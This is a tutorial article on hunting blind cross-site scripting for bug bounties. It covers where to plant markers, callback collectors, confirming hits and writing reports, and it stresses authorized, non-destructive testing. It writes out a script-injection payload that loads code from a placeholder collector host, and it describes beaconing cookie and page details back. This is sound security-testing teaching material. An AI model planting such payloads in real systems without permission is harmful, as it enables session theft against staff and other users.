Blind XSS Bug Bounty Hunting: Find Payloads That Fire Later
Blind XSS is stored XSS you never see. Your input lands in a place only another user — often staff — will open: a CRM note, a moderation queue, an error dashboard, a PDF renderer.
That delay is why beginners miss it. The response looks clean. Weeks later an admin cookie hits your callback.
Authorized testing only. Prefer programs that allow out-of-band callbacks, and keep payloads non-destructive.
Why blind XSS pays
Reflected XSS needs a victim to click your link. Blind XSS rides normal business workflows. Support agents open tickets. Fraud teams review KYC uploads. Ops staff load log UIs that echo user-controlled strings.
Impact is often higher than a self-XSS in a profile field: privileged sessions, internal tools, wider cookie scopes.
Where to plant markers
- Contact forms, feedback widgets, “report a problem”
- Display names, bios, shipping addresses
- File metadata (filename, EXIF comments if rendered)
- Chat messages reviewed by moderators
- HTTP headers some apps log:
User-Agent,Referer,X-Forwarded-For
Anything that might be rendered later in an HTML admin view is a candidate.
Callback workflow that stays sane
- Spin up a controlled listener (XSS Hunter-style collector, Interactsh, or your own HTTPS endpoint).
- Inject unique tokens per field:
"><script src=//your.collector/u/<token></script>. - Map
token → parameterin a notebook so a hit tells you the injection point. - Wait. Check the collector on a schedule — blind XSS is a patience game.
Keep scripts minimal. A beacon that exfiltrates document.domain, path, and cookie presence (not full session dumps against production unless the program asks) is usually enough for a solid report.
Confirming without wrecking the target
When a hit arrives, note the page URL, which cookie names were present, and whether the hit came from an internal hostname. Re-test only if the program allows and your token still exists in the store.
Do not pivot into other accounts or dump PII. Triagers want a reproducible path: where you injected, what fired, who likely viewed it.
Report shape that works
- Injection point and exact payload (unique token included)
- Collector evidence with timestamps
- Likely viewer role (admin, support) inferred from the URL or headers
- Impact: session theft / CSRF from a privileged context / internal XSS
Blind XSS hunting rewards hunters who instrument every write path and treat silence as normal. Plant unique hooks, then let the product’s own operators pull the trigger.